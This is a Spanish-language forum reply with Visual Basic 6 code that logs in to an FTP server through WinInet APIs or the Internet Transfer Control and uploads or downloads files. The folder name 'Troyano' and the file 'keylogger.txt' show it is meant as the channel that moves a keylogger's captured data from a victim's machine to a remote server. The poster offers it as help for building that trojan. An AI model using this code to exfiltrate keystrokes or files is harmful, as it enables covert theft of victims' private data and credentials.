la verdad que si te conviene por FTP porque incluso de ser desconfiables los servidores de mail, NO ahi ningun servidor SMTP (para mail) que deje mandar anonimamente los mail, es decir que ahi que loggearse primero.
si queres el de FTP:
'con API's
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _
(ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _
ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _
(ByVal hInternetSession As Long, ByVal sServerName As String, _
ByVal nServerPort As Integer, ByVal sUsername As String, _
ByVal sPassword As String, ByVal lService As Long, _
ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _
(ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _
ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, _
ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, _
ByVal dwContext As Long) As Boolean
Private Sub Command1_Click()
lngINet = InternetOpen("MyFTP Control", 1, vbNullString, vbNullString, 0)
lngINetConn = InternetConnect(lngINet, "servidor", 0, _
"usuario", "contraseña", 1, 0, 0)
blnRC = FtpGetFile(lngINetConn, "www\hola.txt", "c:\prueba.txt", 0, 0, 1, 0) 'obtenemos el archivo que esta dentro de la carpeta www y lo metemos en C:\ con el nombre de PRUEBA.txt
End Sub [\code]
si tengo error corriganme. si no queres por medio de api podes usar el control INTERNET TRANSFER CONTROL:
Private Function ITCReady(ShowMessage As Boolean)
'Chekea el estado del ITC (poner un INTERNET TRANSFER CONTROL EN EL FORMULARIO), si esta realizando una operacion no hacer nada hasta que termine
If itc.StillExecuting Then
ITCReady = False
If ShowMessage Then
MsgBox "Espere por favor, todavia trabajando", vbInformation + vbOKOnly, "Ocupado"
End If
Else
ITCReady = True
End If
End Function
Private Sub Command1_Click()
On Error Resume Next
'Colocar un label llamado LBLSTATUS
lblstatus = "Conectando"
Dim server As String
server = "servidor"
Dim username As String
username = "usuario"
Dim password As String
password = "contraseña"
'Establecemos el protocolo y el server y el usuario
itc.Protocol = icFTP
itc.URL = server
itc.username = username
itc.Cancel
'Establecemos el password y entramos
itc.password = password
itc.RequestTimeout = 40
itc.Execute , "DIR" 'hace dir
Do While itc.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Dim www As String
www = "www/" 'se maneja como el DOS (DIR, CD, CD.., etc..)
Dim archivo As String
archivo = "keylogger.txt" 'establecemos el archivo
itc.Execute , "CD " & Chr(34) & www & Chr(34) 'entramos a la carpeta WWW/ porque asi esta establecido en el string WWW mas arriba
'agregar un list llamado lstremotefile
lstremotefile.Clear
Do Until ITCReady(False)
DoEvents: DoEvents: DoEvents: DoEvents
Loop
itc.Execute , "DIR"
Do Until ITCReady(False)
DoEvents: DoEvents: DoEvents: DoEvents
Loop
Dim dir As String
dir = "D:\franco\Visual Basic\Troyano"
Kill dir & "/" & archivo
itc.Execute , "GET " & Chr(34) & archivo & Chr(34) & " " & Chr(34) & "D:\" & archivo & Chr(34) 'obtenemos archivo
End Sub
Private Sub Command2_Click()
Dim archivo As String
archivo = "prueba.txt"
Dim dir As String
dir = "D:\franco\Visual Basic\Troyano"
Dim reemplazar As String
reemplazar = "prueba.txt"
'si el ITC no se esta ejecutando enviamos el archivo
If ITCReady(True) = True Then
'Enviamos el archivo y refrescamos el LISTBOX
itc.Execute , "PUT " & Chr(34) & dir & "\" & archivo & Chr(34) & " " & Chr(34) & archivo & Chr(34)
Do Until ITCReady(False)
DoEvents: DoEvents: DoEvents: DoEvents
Loop
lstremotefile.Clear
itc.Execute , "DIR"
lblstatus = "Conectado"
End If
End Sub
Private Sub Form_Load()
'ahi que loggerase primero para que funcione pone el control INTERNET TRANSFER CONTROL en el formulario llamado ITC
RecievingSize = False
End Sub
Private Sub ITC_StateChanged(ByVal State As Integer)
'Chequea el estado del ITC y lo pone de acuerdo a lo que esta haciendo
Dim Data1, RemoteFiles
Dim RemoteFileName As String
Select Case State
Case icResolvingHost
'pone un label llamado LBLSTATUS
lblstatus = "Buscando direccion IP"
Case icHostResolved
lblstatus = "IP ENCONTRADA"
Case icConnecting
lblstatus = "Conectando"
Case icConnected
lblstatus = "Conectado"
Case icRequesting
lblstatus = "enviando pedido"
Case icRequestSent
lblstatus = "pedido enviado"
Case icReceivingResponse
lblstatus = "Reciviendo respuesta"
Case icResponseReceived
lblstatus = "Respuesta recivida"
Case icDisconnecting
lblstatus = "Desconectando"
Case icDisconnected
lblstatus = "No conectado"
Case icError
If itc.ResponseCode = 12030 Then
lblstatus = "No conectado"
itc.Cancel
End If
If itc.ResponseCode <> 87 Then
MsgBox itc.ResponseCode & " " & itc.ResponseInfo, vbOKOnly + vbCritical, "Error"
End If
Case icResponseCompleted
'loop hasta conseguir toda la info
Do While True
Data1 = itc.GetChunk(4096, icString)
If Len(Data1) = 0 Then Exit Do
DoEvents
RemoteFiles = RemoteFiles & Data1
Loop
Beep
'si esta reciviendo dice el tamaño y sale de la SUB
If RecievingSize Then
'pone un listbox llamado LSTREMOTEFILE
MsgBox "El tamaño del archivo es de: " & lstremotefile.Text & " es " & RemoteFiles & " bytes", vbInformation + vbOKOnly, "Size"
Exit Sub
End If
'Loop hasta conesguir los nombres de todos los archivos del LIST
For i = 1 To Len(RemoteFiles)
If Mid(RemoteFiles, i, 1) = Chr(13) Then
If Trim(RemoteFileName) <> "" Then
lstremotefile.AddItem RemoteFileName
RemoteFileName = ""
End If
Else
If Mid(RemoteFiles, i, 1) <> Chr(10) Then
RemoteFileName = RemoteFileName & Mid(RemoteFiles, i, 1)
End If
End If
Next i
End Select
End Sub
espero que les sirva de ayuda
chau
Autor
En línea
